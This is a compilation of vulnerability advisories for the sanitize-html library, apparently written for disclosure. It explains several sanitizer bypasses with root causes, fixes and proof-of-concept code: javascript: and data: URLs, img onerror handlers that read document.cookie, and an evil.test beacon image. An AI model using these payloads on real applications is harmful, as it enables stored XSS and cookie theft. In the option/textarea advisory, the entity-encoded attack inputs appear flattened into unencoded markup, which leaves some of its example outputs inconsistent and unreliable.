Summary
CVE-2026-53606 expanded allowedSchemesAppliedToAttributes so named URL attributes (action, formaction, data, poster, background, later ping, xlink:href, …) go through naughtyHref(). A URL nested inside meta content (http-equiv=refresh) is not an attribute name on that list, so the embedded destination is never scheme-checked.
Default allowedTags still omit meta. Same non-default integrator config as 53606: allow meta plus http-equiv / content.
On 2.17.7:
text sanitizeHtml( '<meta http-equiv="refresh" content="0;url=javascript:alert(1)">', { allowedTags: ['meta'], allowedAttributes: { meta: ['http-equiv', 'content'] } } ) // => <meta http-equiv="refresh" content="0;url=javascript:alert(1)" />
data:text/html,… and arbitrary https: destinations also survive. formaction="javascript:…" (53606) is stripped.
Please Request CVE. Credit: Finder + Reporter (adrbogacz).
Details
naughtyHref() only runs when the attribute name is in allowedSchemesAppliedToAttributes (index.js ~385). Refresh URLs live in a content value of the form 0;url=…, so the gate never fires. Adding content to that list wholesale would break ordinary meta content (description, viewport).
Fix: when http-equiv is refresh (case-insensitive), parse the ; url= destination and run naughtyHref('meta', url). Drop content (or the tag) if the URL is rejected. Leave other meta content values alone.
PoC
Local sanitize-html@2.17.7. Output inspection only:
text node -e ' const sanitize = require("sanitize-html"); const opts = { allowedTags: ["meta"], allowedAttributes: { meta: ["http-equiv", "content"] } }; for (const html of [ "<meta http-equiv=\"refresh\" content=\"0;url=javascript:alert(1)\">", "<meta http-equiv=\"refresh\" content=\"0;url=data:text/html,aaa\">", "<form><button formaction=\"javascript:alert(1)\">x</button></form>", ]) { console.log(html, "=>", sanitize(html, html.includes("meta") ? opts : { allowedTags: ["form","button"], allowedAttributes: { button: ["formaction"] } })); } '
Expected: refresh javascript: / data: remain; 53606 formaction is removed. Do not attach a browser hang or stored-XSS page.
Impact
An integrator who allowed meta + content expecting allowedSchemes to apply (the 53606 configuration pattern) still emits a refresh to javascript:, data:, or an attacker https: URL. Stored XSS / open redirect for viewers of that HTML. Default config is not affected.
ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. From sanitize-html 2.17.7 until 2.18.0, an application configuration that permits namespace-prefixed SVG animation elements and the relevant URL-targeting attributes can bypass the SMIL URL protection because prefixed tag names do not match the unprefixed animation-element check. The bypass can rewrite a link destination to an unsafe URI after the sanitized SVG is rendered, with script execution occurring when a user activates the affected link; the default sanitizer configuration is not unconditionally affected. This issue is fixed in sanitize-html 2.18.0.
Summary
sanitize-html discards the content of every element in nonTextTags. It delimits that region using htmlparser2's close events, and ignores the isImplied flag htmlparser2 passes it. Closing a still-open ancestor from inside a <noscript> makes htmlparser2 unwind its stack past the noscript; the synthetic implied close it emits on the way ends the discard region early, and everything after it is treated as ordinary body content.
A browser with scripting enabled parses <noscript> content as raw text, so the same markup renders as inert text there. The sanitizer therefore emits elements the page itself would not have.
Reproduction
js const sanitizeHtml = require("sanitize-html");
sanitizeHtml('<div><noscript></div><img src="http://evil.test/t.gif"></noscript>', { allowedTags: ["div", "img"], allowedAttributes: { img: ["src"] }, nonTextTags: ["script", "style", "textarea", "option", "noscript"], }); // => '<div></div><img src="http://evil.test/t.gif" />'
Chrome, given the same input, renders no <img> — the whole payload is raw text inside the unclosed <noscript>. Verified with Playwright, srcdoc into an iframe so the scripting flag is on.
A <![CDATA[ variant hides the opening tag from the parser entirely and has the same effect:
<p>Hi</p><![CDATA[ x > <noscript>]]><a href="…">Reset your password</a><img src="…beacon.gif"></noscript>
htmlparser2 runs a CDATA token to ]]>; Chrome ends a bogus comment at the first >, so the <noscript> after it is real to the browser and invisible to the parser.
Where the behaviour is
index.js:
- :154 — nonTextTagsArray (the default list, ['script','style','textarea','option','xmp']). - :638 — onclosetag: function (name, isImplied) — receives the flag. - :644 — skipTextDepth-- — decrements without consulting isImplied.
Suggested fix
Do not end a discard region on an implied close. htmlparser2 already distinguishes them; the flag is passed and discarded. Something close to:
js onclosetag: function (name, isImplied) { if (skipText) { if (isImplied) return; // an implied close must not end the region skipTextDepth--; …
ApostropheCMS is an open-source Node.js content management system. In sanitize-html 2.18.0, when an <iframe> is not allowed and disallowedTagsMode is 'discard' (the defaults), its raw-text content is re-sanitized by a recursive call to sanitizeHtml(text, options). The recursion has no bound and starts each nested call with a fresh state. This vulnerability is fixed in 2.18.1.
Summary When SVG animation is allowed, attributeName="href" makes values a list of URL destinations. sanitize-html accepts a list that starts with a safe fragment even when values is explicitly scheme-checked, allowing a later javascript: destination to execute when the sanitized link is activated.
Details index.js:371-383 validates each attribute as one flat URL. It does not recognize that attributeName="href" gives the sibling values attribute SMIL URI-list semantics. For values="#safe;javascript:...", the leading fragment passes the flat check and the complete list is retained.
PoC This was reproduced with sanitize-html@2.17.6 and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to values; it does not allow javascript:. Save this as poc.js:
js const sanitize = require('sanitize-html');
const input = <svg><a><animate attributeName="href" values="#safe;javascript:alert('XSS')" dur=".01s" fill="freeze"></animate><text y="30">Click me</text></a></svg>; const output = sanitize(input, { allowedTags: sanitize.defaults.allowedTags.concat(['svg', 'animate', 'text']), allowedAttributes: { ...sanitize.defaults.allowedAttributes, animate: ['attributename', 'values', 'dur', 'fill'], text: ['y'] }, allowedSchemesAppliedToAttributes: sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values']) }); console.log(output);
Install and run it, then open poc.html and click Click me:
sh npm install sanitize-html@2.17.6 node poc.js > poc.html
The output retains the javascript: entry, and clicking the sanitized SVG displays XSS. With input changed to <a href="javascript:alert(1)">control</a>, the same configuration removes href.
Impact In an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application's origin despite the configured scheme policy.
Suggested fix Reject attributeName values selecting href or xlink:href on SVG animate and set, while retaining safe targets such as fill. Add values, from, and to regression cases.
ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. Under the default configuration, versions of sanitize-html prior to 2.17.4 can turn attacker-controlled content inside a disallowed xmp element into live HTML or JavaScript. This is a sanitizer bypass in the default disallowedTagsMode: 'discard' path and can lead to stored XSS in applications that render sanitized output back to users. Version 2.17.4 patches the issue.
Summary
sanitize-html uses allowedSchemesAppliedToAttributes (default: ['href', 'src', 'cite']) to gate the naughtyHref() function that blocks dangerous URI schemes like javascript: and vbscript:. The HTML specification defines 10+ attributes that accept URIs (action, formaction, data, poster, background, ping, xlink:href, dynsrc, lowsrc), but none of these are included in the default gate list. When a developer allows any of these attributes in their configuration, javascript: URIs pass through completely unmodified, enabling XSS.
The library has zero awareness of these URI-bearing attributes — none appear anywhere in the 854-line source file (verified by grep). No warning mechanism exists, and the README provides no security guidance about expanding allowedSchemesAppliedToAttributes when allowing form or media attributes.
Severity
Exploitation requires non-default configuration: the developer must explicitly allow a non-default tag (e.g., form) AND a non-default attribute (e.g., action). Default configuration is NOT vulnerable. However, this is a common configuration pattern for CMS platforms, form builders, and rich content editors.
Affected Versions
All versions of sanitize-html from v1.18.0 (which introduced allowedSchemesAppliedToAttributes) through at least v2.17.2. The default list has been ['href', 'src', 'cite'] since introduction and has never been expanded.
Root Cause
File: index.js:329 (sanitize-html 2.10.0, confirmed same in 2.17.x)
javascript // Line 329 — The gate that controls scheme validation if (options.allowedSchemesAppliedToAttributes.indexOf(a) >= 0) { if (naughtyHref(name, value)) { delete frame.attribs[a]; return; } }
Default list at line 829: javascript allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
The naughtyHref() function (lines 627-667) correctly blocks javascript:, vbscript:, and other dangerous schemes. However, it has exactly 2 call sites in the entire codebase (lines 330 and 395), both inside the indexOf gate. There is no ungated path.
When attribute name is action, formaction, data, poster, background, etc.: - indexOf('action') returns -1 - The if block is skipped entirely - naughtyHref() is never called - javascript:alert(1) passes through unmodified
The escapeHtml() function at line 464 provides no defense — it only encodes & < > " characters, which are not present in javascript:alert(1).
Data Flow: Attacker input: <form action="javascript:alert(document.cookie)"> 1. htmlparser2 parses → tag='form', attribs={action:'javascript:alert(document.cookie)'} 2. index.js:298 → allowedAttributes check: 'action' in developer config → PASS 3. index.js:329 → ['href','src','cite'].indexOf('action') → -1 → SKIP naughtyHref() 4. index.js:464 → escapeHtml('javascript:alert(document.cookie)') → unchanged 5. OUTPUT: <form action="javascript:alert(document.cookie)">
Steps to Reproduce
javascript const sanitize = require('sanitize-html');
// ===== VECTOR 1: form action (100% reliable, all modern browsers) ===== const v1 = sanitize( '<form action="javascript:alert(document.cookie)"><button>Submit</button></form>', { allowedTags: ['form', 'button'], allowedAttributes: { form: ['action'] } } ); console.log('V1 (action):', v1); // OUTPUT: <form action="javascript:alert(document.cookie)"><button>Submit</button></form> // XSS triggers when user submits the form
// ===== VECTOR 2: button formaction (100% reliable) ===== const v2 = sanitize( '<button formaction="javascript:alert(1)">Click</button>', { allowedTags: ['button'], allowedAttributes: { button: ['formaction'] } } ); console.log('V2 (formaction):', v2); // OUTPUT: <button formaction="javascript:alert(1)">Click</button>
// ===== VECTOR 3: object data ===== const v3 = sanitize( '<object data="javascript:alert(1)"></object>', { allowedTags: ['object'], allowedAttributes: { object: ['data'] } } ); console.log('V3 (data):', v3); // OUTPUT: <object data="javascript:alert(1)"></object>
// ===== CONTROL: href IS scheme-checked (expected behavior) ===== const ctrl = sanitize( '<a href="javascript:alert(1)">click</a>', { allowedTags: ['a'], allowedAttributes: { a: ['href'] } } ); console.log('Control (href):', ctrl); // OUTPUT: <a>click</a> ← href correctly stripped by naughtyHref()
Observed behavior: javascript: preserved on action/formaction/data but correctly stripped on href.
Expected behavior: javascript: should be stripped on ALL URI-bearing attributes, or at minimum, the library should warn developers when they allow URI-bearing attributes not covered by scheme validation.
Impact
An attacker can achieve XSS in applications that use sanitize-html with non-default configurations allowing URI-bearing attributes:
- <form action="javascript:..."> — XSS on form submission (all modern browsers) - <button formaction="javascript:..."> — per-button XSS override (all modern browsers) - <object data="javascript:..."> — object load XSS (Chrome, Firefox) - <video poster="javascript:..."> — limited browser support but spec-valid
Common vulnerable configurations: - CMS platforms allowing form elements for user-generated content - Form builder applications - Rich text editors with extended tag allowlists - Email template editors allowing media/embed tags
Mitigating factors: - Default configuration is NOT vulnerable - Requires double opt-in: non-default tag + non-default attribute - CSP form-action directive mitigates form-based vectors - Developers CAN manually add attributes to allowedSchemesAppliedToAttributes
Remediation
Option 1 (Recommended): Expand the default allowedSchemesAppliedToAttributes list:
javascript // index.js line 829, change from: allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
// to: allowedSchemesAppliedToAttributes: [ 'href', 'src', 'cite', 'action', 'formaction', 'data', 'poster', 'background', 'ping', 'xlink:href', 'dynsrc', 'lowsrc' ],
Option 2: Apply naughtyHref() to ALL attributes by default (invert the gate logic).
Option 3: Add a runtime warning when developers allow URI-bearing attributes not in allowedSchemesAppliedToAttributes (analogous to vulnerableTags warning for script/style at lines 124-129).
Reporter
Kevin Lee (Changseon Lee) OPCIA Corp. / PeanutAI Inc. Seoul, South Korea GitHub: crattack
Summary
Commit 49d0bb7 introduced a regression in sanitize-html that bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes option or textarea in its allowedTags configuration.
Details
The vulnerable code is at packages/sanitize-html/index.js:569-573:
javascript } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) { // htmlparser2 does not decode entities inside raw text elements like // textarea and option. The text is already properly encoded, so pass // it through without additional escaping to avoid double-encoding. result += text; }
The comment is factually incorrect. htmlparser2 10.x does decode HTML entities inside both <textarea> and <option> elements before passing text to the ontext callback. This can be verified:
javascript const htmlparser2 = require('htmlparser2'); const parser = new htmlparser2.Parser({ ontext(text) { console.log(JSON.stringify(text)); } }); parser.write('<option><script></option>'); // Outputs: "<", "script", ">" — entities are decoded
Because the code assumes the text is "already properly encoded" and skips escapeHtml(), the decoded entities (<, >) are written directly to the output as literal HTML characters. This completely bypasses the allowedTags filter — any tag can be injected inside an allowed option or textarea element using entity encoding.
The execution flow: 1. Attacker submits: <option><img src=x onerror=alert(1)></option> 2. htmlparser2 parses and decodes entities → ontext receives <img src=x onerror=alert(1)> 3. Code at line 569 checks: tag is option, which is in nonTextTagsArray → true 4. Line 573: result += text — writes decoded text directly without escaping 5. Output: <option><img src=x onerror=alert(1)></option> — <img> tag injected despite not being in allowedTags
The script and style tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to textarea and option, plus any custom elements added to nonTextTags by the user.
Prior to commit 49d0bb7, text in these elements fell through to the escapeHtml branch (line 574-580), which correctly re-encoded the decoded entities.
PoC
Prerequisites: Application using sanitize-html 2.17.2 with option or textarea in allowedTags.
Step 1: Basic tag injection via option javascript const sanitize = require('sanitize-html'); const output = sanitize( '<option><script>alert(1)</script></option>', { allowedTags: ['option'] } ); console.log(output); // Expected (safe): <option><script>alert(1)</script></option> // Actual (vulnerable): <option><script>alert(1)</script></option>
Step 2: Element breakout with XSS event handler javascript const output2 = sanitize( '<option></option><img src=x onerror=alert(document.cookie)></option>', { allowedTags: ['option'] } ); console.log(output2); // Output: <option></option><img src=x onerror=alert(document.cookie)></option> // The <img> tag escapes the option context and executes the onerror handler
Step 3: Textarea breakout (also vulnerable) javascript const output3 = sanitize( '<textarea></textarea><img src=x onerror=alert(1)></textarea>', { allowedTags: ['textarea'] } ); console.log(output3); // Output: <textarea></textarea><img src=x onerror=alert(1)></textarea>
Step 4: Full select/option context breakout javascript const output4 = sanitize( '<select><option></option></select><img src=x onerror=alert(1)></option></select>', { allowedTags: ['select', 'option'] } ); console.log(output4); // Output: <select><option></option></select><img src=x onerror=alert(1)></option></select> // Breaks out of both option and select elements
All outputs verified against sanitize-html 2.17.2 with htmlparser2 10.x.
Impact
- Complete allowedTags bypass: Any HTML tag can be injected through an allowed option or textarea element using entity encoding, defeating the core security guarantee of sanitize-html. - Stored XSS: Applications that sanitize user-submitted HTML and allow option or textarea tags (common in form builders, CMS platforms, rich text editors) are vulnerable to stored cross-site scripting. - Session hijacking: Attackers can inject event handlers (onerror, onload, etc.) to steal session cookies or authentication tokens. - Scope: Affects non-default configurations only — the default allowedTags does not include option or textarea. However, these tags are commonly allowed in applications that handle form-related HTML content.
Recommended Fix
Remove the vulnerable code block at lines 569-573 entirely. The escapeHtml branch (line 574) correctly handles these elements — htmlparser2 10.x decodes entities, and re-encoding with escapeHtml produces correct HTML output (entities are round-tripped, not double-encoded).
diff --- a/packages/sanitize-html/index.js +++ b/packages/sanitize-html/index.js @@ -566,11 +566,6 @@ function sanitizeHtml(html, options, recursing) { // your concern, don't allow them. The same is essentially true for style tags // which have their own collection of XSS vectors. result += text; - } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) { - // htmlparser2 does not decode entities inside raw text elements like - // textarea and option. The text is already properly encoded, so pass - // it through without additional escaping to avoid double-encoding. - result += text; } else if (!addedText) { const escaped = escapeHtml(text, false); if (options.textFilter) {
This fix restores the pre-49d0bb7 behavior where all non-script/style text content goes through escapeHtml(), ensuring decoded entities are properly re-encoded before output.
Versions of the package sanitize-html before 2.12.1 are vulnerable to Information Exposure when used on the backend and with the style attribute allowed, allowing enumeration of files in the system (including project dependencies). An attacker could exploit this vulnerability to gather details about the file system structure and dependencies of the targeted server.
https://gist.github.com/Slonser/8b4d061abe6ee1b2e10c7242987674cf https://github.com/apostrophecms/apostrophe/discussions/4436 https://github.com/apostrophecms/sanitize-html/commit/c5dbdf77fe8b836d3bf4554ea39edb45281ec0b4 https://github.com/apostrophecms/sanitize-html/pull/650 https://security.snyk.io/vuln/SNYK-JS-SANITIZEHTML-6256334